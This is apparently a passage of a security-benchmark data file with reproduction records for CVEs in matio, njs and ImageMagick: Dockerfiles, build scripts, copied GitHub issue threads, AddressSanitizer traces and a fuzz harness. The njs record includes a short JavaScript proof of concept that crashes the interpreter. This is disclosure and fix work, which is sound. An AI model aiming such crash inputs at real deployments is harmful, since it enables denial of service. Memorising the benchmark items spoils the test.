"sha": "16431b90389bfaaab8b006e6c8ca7234c7625a62",
"url": "https://github.com/WebAssembly/wabt/commit/16431b90389bfaaab8b006e6c8ca7234c7625a62"
},
{
"sha": "82b39c05a8e29649c8e3666de1d574d3bf476a04",
"url": "https://github.com/WebAssembly/wabt/commit/82b39c05a8e29649c8e3666de1d574d3bf476a04"
}
] |
matio.cve-2019-9030
|
tbeu/matio
|
55e506b9d46b5ee8036dc7933178f3c59e715ff1
| 2018-10-22T23:21:48
|
matio
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/tbeu/matio matio
RUN git -C matio checkout 55e506b9d46b5ee8036dc7933178f3c59e715ff1
WORKDIR $SRC/matio
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
./configure
make -j$(nproc)
make install -j$(nproc)
|
/src/matio
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/tbeu/matio/issues/103
## Description:
Issue: tbeu/matio#103
Title: some memory corruption problems when the library parse the mat file
State: closed
Created by: cool-tomato
Created at: 2019-02-20 02:24:30+00:00
Labels: bug
Issue Body:
I found several memory corruption problem in the library.
More details can be found at [here](https://github.com/TeamSeri0us/pocs/tree/master/matio).
Comments:
Comment by PhilipMorrisJones on 2019-03-07 04:54:21+00:00:
@tbeu, can you comment on this and say if it is a real vulnerability or not and if so when it is likely to be fixed?
There are 13 CVEs related to this
CVE-2019-9038 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds read problem with a SEGV in the function ReadNextCell() in mat5.c.
-- | --
CVE-2019-9037 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a buffer over-read in the function Mat_VarPrint() in mat.c.
CVE-2019-9036 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow in the function ReadNextFunctionHandle() in mat5.c.
CVE-2019-9035 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in the function ReadNextStructField() in mat5.c.
CVE-2019-9034 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read for a memcpy in the function ReadNextCell() in mat5.c.
CVE-2019-9033 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read for the "Rank and Dimension" feature in the function ReadNextCell() in mat5.c.
CVE-2019-9032 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds write problem causing a SEGV in the function Mat_VarFree() in mat.c.
CVE-2019-9031 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a NULL pointer dereference in the function Mat_VarFree() in mat.c.
CVE-2019-9030 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in Mat_VarReadNextInfo5() in mat5.c.
CVE-2019-9029 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is an out-of-bounds read with a SEGV in the function Mat_VarReadNextInfo5() in mat5.c.
CVE-2019-9028 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a stack-based buffer over-read in the function InflateDimensions() in inflate.c when called from ReadNextCell in mat5.c.
CVE-2019-9027 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow problem in the function ReadNextCell() in mat5.c.
CVE-2019-9026 | An issue was discovered in libmatio.a in matio (aka MAT File I/O Library) 1.5.13. There is a heap-based buffer overflow in the function InflateVarName() in inflate.c when called from ReadNextCell in mat5.c.
---
Comment by tbeu on 2019-03-07 06:23:41+00:00:
Working on them. (That's why I pinned the issue).
---
Comment by tbeu on 2019-03-07 07:36:04+00:00:
And, it only happens with crafted MAT-files (created by fuzzing).
---
Comment by PhilipMorrisJones on 2019-03-07 12:36:41+00:00:
@tbeu, thank you. We use this library and appreciate its compactness and usefulness.
Do you know anything about @cool-tomato and why she would fuzz your code?
---
Comment by tbeu on 2019-03-07 16:04:48+00:00:
Fuzzing is easy, probably fun and gives you some credits. Do not know him/her.
---
Comment by tbeu on 2019-03-09 22:11:12+00:00:
Resolved by a0539135c9b1ab7613aa7953279da9224da88775 and 2c20d2178017b3eb13ab160cef239648f9915bdb in master branch.
---
Comment by TeoShaw on 2019-03-11 06:31:47+00:00:
Great to hear that this has been resolved.
On what time scale will we be able to download 1.5.14 and get access to these security improvements?
Thanks,
T.
---
Comment by tbeu on 2019-03-11 06:55:52+00:00:
Will release v1.5.14 probably tonight.
---
Comment by svillemot on 2019-03-12 14:20:17+00:00:
As far as I can tell, CVE-2019-9036 (heap-based buffer overflow in the function `ReadNextFunctionHandle()`) is not yet fixed.
---
Comment by tbeu on 2019-03-12 18:01:06+00:00:
Hm, can no longer reproduce. Can you give some more details?
---
Comment by svillemot on 2019-03-12 18:08:43+00:00:
On git HEAD (9f7f96d727d), with Debian 9, configured with `./configure CFLAGS="-fsanitize=address -O2" LDFLAGS="-fsanitize=address"`:
```
$ tools/matdump ~/pocs/matio/[email protected]_1837-26___heap-buffer-overflow
=================================================================
==29570==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd0 at pc 0x7f5b9c14f9fe bp 0x7ffca66d34a0 sp 0x7ffca66d3498
WRITE of size 8 at 0x60200000efd0 thread T0
#0 0x7f5b9c14f9fd in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf9fd)
#1 0x562dd8c1c9b9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59b9)
#2 0x7f5b9b7f32e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#3 0x562dd8c1d249 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6249)
0x60200000efd1 is located 0 bytes to the right of 1-byte region [0x60200000efd0,0x60200000efd1)
allocated by thread T0 here:
#0 0x7f5b9c42dd28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28)
#1 0x7f5b9c14ef7a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbef7a)
#2 0x7f5b9c1634a7 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xd34a7)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf9fd) in Mat_VarReadNextInfo5
Shadow bytes around the buggy address:
0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa[01]fa fa fa 00 fa
0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==29570==ABORTING
```
---
Comment by tbeu on 2019-03-12 18:57:03+00:00:
Got it.
---
Comment by carnil on 2019-03-14 18:14:43+00:00:
Should the issue in meanwhile be reopened until as well the last bit fixed?
---
Comment by tbeu on 2019-03-15 22:32:32+00:00:
@svillemot Can you please check if 539ca4df145748558d79ac978d05857437ba3332 fixes the issue for you. Thanks.
---
Comment by svillemot on 2019-03-16 16:57:48+00:00:
The overflow seems to be correctly worked around. But then MatIO apparently attempts to allocate an insane amount of memory, I am not sure this is expected:
```
$ tools/matdump ~/pocs/matio/[email protected]_1837-26___heap-buffer-overflow
Integer multiplication overflow when calculating number of elements
==14602==WARNING: AddressSanitizer failed to allocate 0x4098900aa0000000 bytes
==14602==AddressSanitizer's allocator is terminating the process instead of returning 0
==14602==If you don't like this behavior set allocator_may_return_null=1
==14602==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:145 "((0)) != (0)" (0x0, 0x0)
#0 0x7f04a03f5ebd (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xcaebd)
#1 0x7f04a03fbb13 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xd0b13)
#2 0x7f04a03f9cd6 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xcecd6)
#3 0x7f04a0350144 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x25144)
#4 0x7f04a03ecd05 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d05)
#5 0x7f04a010d70f in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbe70f)
#6 0x55c2c84699b9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59b9)
#7 0x7f049f7b22e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#8 0x55c2c846a249 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6249)
```
---
Comment by tbeu on 2019-03-16 18:07:45+00:00:
Thanks for confirmation. One other possibility would be to let SafeMulDims return 0 in case of an overflow. What do you think?
---
Comment by svillemot on 2019-03-16 19:38:04+00:00:
Indeed it's probably better to have a zero return value from `SafeMulDims`, which would then be catched and properly handled by the caller.
---
Comment by tbeu on 2019-03-19 13:41:30+00:00:
@svillemot Could you please give 077cbf9ecf495c15edc8546c1acb0cbabf8b6e51 one more try and verify if it finally resolves this issue? Thanks.
---
Comment by svillemot on 2019-03-20 09:43:23+00:00:
Thanks. The only thing still detected by ASAN is a 1-byte memory leak. So, security-wise, the issue is fixed.
```
$ tools/matdump ~/pocs/matio/[email protected]_1837-26___heap-buffer-overflow
Empty
=================================================================
==14285==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 1 byte(s) in 1 object(s) allocated from:
#0 0x7fb2691fed28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28)
#1 0x7fb268f1f1e2 in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf1e2)
#2 0x7fb268f340af (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xd40af)
SUMMARY: AddressSanitizer: 1 byte(s) leaked in 1 allocation(s).
````
---
Comment by tbeu on 2019-03-20 10:28:22+00:00:
Thanks for confirmation. The memory leak actually is a separate issue discoverd en passant and resolved by b73f135ebb5339eec376b1f25e63ab50d0d43b55.
---
Comment by svillemot on 2019-03-22 12:37:44+00:00:
I backported those security fixes to MatIO 1.5.13 for Debian (I had to limit myself to minimal changes, since Debian is currently in freeze).
There are test failures on several architectures, all of which are big-endian, in tests 621, 2825 and 2827. Any idea of what's going on?
---
Comment by svillemot on 2019-03-22 12:38:14+00:00:
The logfiles are accessible at: https://buildd.debian.org/status/package.php?p=libmatio
---
Comment by svillemot on 2019-03-22 12:39:54+00:00:
And here are the patches that I applied: https://salsa.debian.org/science-team/libmatio/tree/master/debian/patches
Note that avoid-int-mult-overflow.patch is a trimmed-down version of your commit.
---
Comment by svillemot on 2019-03-22 14:08:36+00:00:
Ok, got it, it's a manifestation of #108.
---
Comment by svillemot on 2019-03-22 14:30:15+00:00:
Applying adfa218770183cf93f74e7fad5055921ae1f9958 fixes the testsuite regression, but unfortunately it reintroduces CVE-2019-9027 and CVE-2019-9038.
On the current git HEAD, I now get the following:
```
$ tools/matdump ~/pocs/matio/inflate___heap-buffer-overflow-02
=================================================================
==17501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000a739 at pc 0x7fb9549d7f7f bp 0x7ffcfb664400 sp 0x7ffcfb663bb0
READ of size 64 at 0x60200000a739 thread T0
#0 0x7fb9549d7f7e (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cf7e)
#1 0x7fb953f14238 in inflate (/lib/x86_64-linux-gnu/libz.so.1+0xa238)
#2 0x7fb954699abb in InflateData (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xdabb)
#3 0x7fb9546c3184 in ReadCompressedCharData (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0x37184)
#4 0x7fb9547436fd in Mat_VarRead5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xb76fd)
#5 0x7fb95474804f in ReadNextCell (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc04f)
#6 0x7fb95474e53a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xc253a)
#7 0x55625cfea9c9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59c9)
#8 0x7fb9538872e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#9 0x55625cfeb259 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6259)
0x60200000a739 is located 0 bytes to the right of 9-byte region [0x60200000a730,0x60200000a739)
allocated by thread T0 here:
#0 0x7fb954a3ced0 in calloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1ed0)
#1 0x7fb954740187 in Mat_VarRead5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xb4187)
#2 0x7fb95476ea4f (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xe2a4f)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cf7e)
Shadow bytes around the buggy address:
0x0c047fff9490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff94d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff94e0: fa fa fa fa fa fa 00[01]fa fa 00 00 fa fa 00 01
0x0c047fff94f0: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00
0x0c047fff9500: fa fa 00 fa fa fa 00 00 fa fa 00 fa fa fa 00 fa
0x0c047fff9510: fa fa 01 fa fa fa 00 00 fa fa 00 fa fa fa 00 fa
0x0c047fff9520: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00
0x0c047fff9530: fa fa 00 fa fa fa 00 fa fa fa 00 00 fa fa 00 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==17501==ABORTING
```
```
$ tools/matdump ~/pocs/matio/[email protected]_1342-33__out-of-bound-read
InflateData: inflate returned data error
InflateSkip: inflate returned data error
ASAN:DEADLYSIGNAL
=================================================================
==14816==ERROR: AddressSanitizer: SEGV on unknown address 0x000d0d8dcdf7 (pc 0x7f1ba88b5077 bp 0x606000003140 sp 0x7ffdb11b5a70 T0)
#0 0x7f1ba88b5076 in ReadNextCell (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc076)
#1 0x7f1ba88bb53a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xc253a)
#2 0x5581aaa359c9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59c9)
#3 0x7f1ba79f42e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0)
#4 0x5581aaa36259 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6259)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc076) in ReadNextCell
==14816==ABORTING
```
So this issue should be reopened…
---
Comment by tbeu on 2019-03-22 20:56:05+00:00:
One more iteration loop please: 02625a0e394eeb8bf3ea61641f73de907296a2c4 adds another sanity check.
---
Comment by svillemot on 2019-03-23 09:09:38+00:00:
It is good now, thanks!
Commit References:
02625a0e394eeb8bf3ea61641f73de907296a2c4
077cbf9ecf495c15edc8546c1acb0cbabf8b6e51
2c20d2178017b3eb13ab160cef239648f9915bdb
b73f135ebb5339eec376b1f25e63ab50d0d43b55
539ca4df145748558d79ac978d05857437ba3332
adfa218770183cf93f74e7fad5055921ae1f9958
a0539135c9b1ab7613aa7953279da9224da88775
|
[
{
"content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#ifndef FUZZER_TEMP_FILE_H_\n#define FUZZER_TEMP_FILE_H_\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n// Pure-C interface for creating and cleaning up temporary files.\n\nstatic char* fuzzer_get_tmpfile(const uint8_t* data, size_t size) {\n char* filename_buffer = strdup(\"/tmp/generate_temporary_file.XXXXXX\");\n if (!filename_buffer) {\n perror(\"Failed to allocate file name buffer.\");\n abort();\n }\n const int file_descriptor = mkstemp(filename_buffer);\n if (file_descriptor < 0) {\n perror(\"Failed to make temporary file.\");\n abort();\n }\n FILE* file = fdopen(file_descriptor, \"wb\");\n if (!file) {\n perror(\"Failed to open file descriptor.\");\n close(file_descriptor);\n abort();\n }\n const size_t bytes_written = fwrite(data, sizeof(uint8_t), size, file);\n if (bytes_written < size) {\n close(file_descriptor);\n fprintf(stderr, \"Failed to write all bytes to file (%zu out of %zu)\",\n bytes_written, size);\n abort();\n }\n fclose(file);\n return filename_buffer;\n}\n\nstatic void fuzzer_release_tmpfile(char* filename) {\n if (unlink(filename) != 0) {\n perror(\"WARNING: Failed to delete temporary file.\");\n }\n free(filename);\n}\n\n// C++ RAII object for creating temporary files.\n\n#ifdef __cplusplus\nclass FuzzerTemporaryFile {\n public:\n FuzzerTemporaryFile(const uint8_t* data, size_t size)\n : filename_(fuzzer_get_tmpfile(data, size)) {}\n\n ~FuzzerTemporaryFile() { fuzzer_release_tmpfile(filename_); }\n\n const char* filename() const { return filename_; }\n\n private:\n char* filename_;\n};\n#endif\n\n#endif // FUZZER_TEMP_FILE_H_\n",
"filename": "fuzzer_temp_file.h"
},
{
"content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n#include <string>\n#include <vector>\n\n#include \"fuzzer_temp_file.h\"\n#include \"matio.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n FuzzerTemporaryFile temp_file(data, size);\n\n mat_t* matfd = Mat_Open(temp_file.filename(), MAT_ACC_RDONLY);\n if (matfd == nullptr) {\n return 0;\n }\n // TODO(https://github.com/google/oss-fuzz/pull/2761): use more complicated APIs\n // such as Mat_VarReadDataAll, Mat_VarReadDataLinear, Mat_VarReadNext, etc. \n Mat_Close(matfd);\n\n return 0;\n}\n",
"filename": "matio_fuzzer.cc"
}
] |
[
{
"sha": "5552ebde32d48e9290de871dce2f773a76cdaca7",
"url": "https://github.com/tbeu/matio/commit/5552ebde32d48e9290de871dce2f773a76cdaca7"
},
{
"sha": "0966538de4e96f8a22e2f10562b765280fa61ece",
"url": "https://github.com/tbeu/matio/commit/0966538de4e96f8a22e2f10562b765280fa61ece"
},
{
"sha": "a0539135c9b1ab7613aa7953279da9224da88775",
"url": "https://github.com/tbeu/matio/commit/a0539135c9b1ab7613aa7953279da9224da88775"
},
{
"sha": "2c20d2178017b3eb13ab160cef239648f9915bdb",
"url": "https://github.com/tbeu/matio/commit/2c20d2178017b3eb13ab160cef239648f9915bdb"
},
{
"sha": "df23944bc8f16dc7270fa39c772e14958aadc283",
"url": "https://github.com/tbeu/matio/commit/df23944bc8f16dc7270fa39c772e14958aadc283"
},
{
"sha": "ce33bf0ef196794790ed20c6d4c8232f7eb45590",
"url": "https://github.com/tbeu/matio/commit/ce33bf0ef196794790ed20c6d4c8232f7eb45590"
},
{
"sha": "02625a0e394eeb8bf3ea61641f73de907296a2c4",
"url": "https://github.com/tbeu/matio/commit/02625a0e394eeb8bf3ea61641f73de907296a2c4"
}
] |
njs.cve-2022-29369
|
nginx/njs
|
7723f9dc520f08d3a75adf5dac6556503a00ec87
| 2022-02-22T13:38:59
|
njs
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool mercurial git libpcre2-dev
RUN git clone https://github.com/nginx/njs njs
RUN git -C njs checkout 7723f9dc520f08d3a75adf5dac6556503a00ec87
WORKDIR $SRC/njs
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
CFLAGS="$CFLAGS -fno-use-cxa-atexit" CXXFLAGS="$CXXFLAGS -fno-use-cxa-atexit" ./configure
make -j$(nproc) clean
make -j$(nproc) all
make install -j$(nproc)
sed -i "s/\$libS\$libR \(-lpcre2-8$\)/\$libS\$libR -Wl,-Bstatic \1 -Wl,-Bdynamic/" /usr/local/bin/pcre2-config
./configure
make njs_fuzzer -j$(nproc)
mkdir -p $SEED_CORPUS_PATH
|
/src/njs
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/nginx/njs/issues/467
## Description:
Issue: nginx/njs#467
Title: SEGV njs_lvlhsh.c:231:17 in njs_lvlhsh_bucket_find
State: closed
Created by: Q1IQ
Created at: 2022-02-15 08:25:51+00:00
Labels: bug, fuzzer
Issue Body:
### Environment
```
OS : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Commit : 7bd570b39297d3d91902c93a624c89b08be7a6fe
Version : 0.7.2
Build :
NJS_CFLAGS="$NJS_CFLAGS -fsanitize=address"
NJS_CFLAGS="$NJS_CFLAGS -fno-omit-frame-pointer"
```
### Proof of concept
```
function f2(v) {
Object.prototype.toString = v;
}
Object.prototype.toString = f2;
function f() {
"includes"[{}]();
}
new Promise(f);
String.fromCharCode(0,parseInt);
```
### Stack dump
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2064577==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x0000004cac48 bp 0x7ffcc1edfbf0 sp 0x7ffcc1edfbb0 T0)
==2064577==The signal is caused by a READ memory access.
==2064577==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x4cac48 in njs_lvlhsh_bucket_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17
#1 0x4cac48 in njs_lvlhsh_find /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:181:20
#2 0x516c4f in njs_object_property /home/q1iq/Documents/origin/njs/src/njs_object_prop.c:59:15
#3 0x4d5963 in njs_value_to_primitive /home/q1iq/Documents/origin/njs/src/njs_value.c:159:19
#4 0x4fb3ab in njs_value_to_number /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:18:15
#5 0x4fb3ab in njs_value_to_numeric /home/q1iq/Documents/origin/njs/src/njs_value_conversion.h:54:11
#6 0x4fb3ab in njs_string_from_char_code /home/q1iq/Documents/origin/njs/src/njs_string.c:2036:19
#7 0x53bf9c in njs_function_native_call /home/q1iq/Documents/origin/njs/src/njs_function.c:739:11
#8 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
#9 0x53b43a in njs_function_lambda_call /home/q1iq/Documents/origin/njs/src/njs_function.c:703:11
#10 0x4e47fa in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs/src/njs_vmcode.c:785:23
#11 0x4deb7b in njs_vm_start /home/q1iq/Documents/origin/njs/src/njs_vm.c:493:11
#12 0x4c8099 in njs_process_script /home/q1iq/Documents/origin/njs/src/njs_shell.c:903:19
#13 0x4c7484 in njs_process_file /home/q1iq/Documents/origin/njs/src/njs_shell.c:632:11
#14 0x4c7484 in main /home/q1iq/Documents/origin/njs/src/njs_shell.c:316:15
#15 0x7f4beb9e10b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#16 0x41dabd in _start (/home/q1iq/Documents/origin/njs/build/njs+0x41dabd)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/q1iq/Documents/origin/njs/src/njs_lvlhsh.c:231:17 in njs_lvlhsh_bucket_find
==2064577==ABORTING
```
### Credit
Q1IQ(@Q1IQ)
Commit References:
7bd570b39297d3d91902c93a624c89b08be7a6fe
|
[] |
[
{
"sha": "222d6fdcf0c6485ec8e175f3a7b70d650c234b4e",
"url": "https://github.com/nginx/njs/commit/222d6fdcf0c6485ec8e175f3a7b70d650c234b4e"
},
{
"sha": "7bd570b39297d3d91902c93a624c89b08be7a6fe",
"url": "https://github.com/nginx/njs/commit/7bd570b39297d3d91902c93a624c89b08be7a6fe"
}
] |
imagemagick.cve-2017-18022
|
imagemagick/imagemagick
|
2884ed8a622c4b5678d1083fcaf0530ea3d58c7a
| 2017-11-29T16:41:51
|
imagemagick
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/imagemagick/imagemagick imagemagick
RUN git -C imagemagick checkout 2884ed8a622c4b5678d1083fcaf0530ea3d58c7a
WORKDIR $SRC/imagemagick
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./configure --prefix="$WORK" --disable-shared --disable-docs
make "-j$(nproc)"
make install -j$(nproc)
|
/src/imagemagick
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/ImageMagick/ImageMagick/issues/904
## Description:
Issue: ImageMagick/ImageMagick#904
Title: memory leaks
State: closed
Created by: littleputa
Created at: 2017-12-20 06:01:03+00:00
Labels: bug
Issue Body:
system:ubuntu 14.04 64
ubuntu@ubuntu:~/fuzz_py$ magick -version
Version: ImageMagick 7.0.7-12 Q16 x86_64 2017-12-19 http://www.imagemagick.org
Copyright: © 1999-2017 ImageMagick Studio LLC
License: http://www.imagemagick.org/script/license.php
Features: Cipher DPC HDRI OpenMP
Delegates (built-in): fontconfig freetype png x zlib
ubuntu@ubuntu:~/fuzz_py$ magick montage poc /dev/null
montage: no decode delegate for this image format `' @ error/constitute.c/ReadImage/509.
montage: `/dev/null' @ error/montage.c/MontageImageCommand/1775.
=================================================================
==116829==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 4712 byte(s) in 1 object(s) allocated from:
#0 0x4b9ad3 in malloc (/usr/local/bin/magick+0x4b9ad3)
#1 0x7ff9bd11fb76 in AcquireCriticalMemory /home/ubuntu/ImageMagick/./MagickCore/memory-private.h:57:10
#2 0x7ff9bd11fb76 in CloneMontageInfo /home/ubuntu/ImageMagick/MagickCore/montage.c:110
#3 0x7ff9bc8448b6 in MontageImageCommand /home/ubuntu/ImageMagick/MagickWand/montage.c:353:16
#4 0x7ff9bc7cd1c2 in MagickCommandGenesis /home/ubuntu/ImageMagick/MagickWand/mogrify.c:183:14
#5 0x4e4ce7 in MagickMain /home/ubuntu/ImageMagick/utilities/magick.c:149:10
#6 0x4e4ce7 in main /home/ubuntu/ImageMagick/utilities/magick.c:180
#7 0x7ff9ba34df44 in __libc_start_main /build/eglibc-oGUzwX/eglibc-2.19/csu/libc-start.c:287
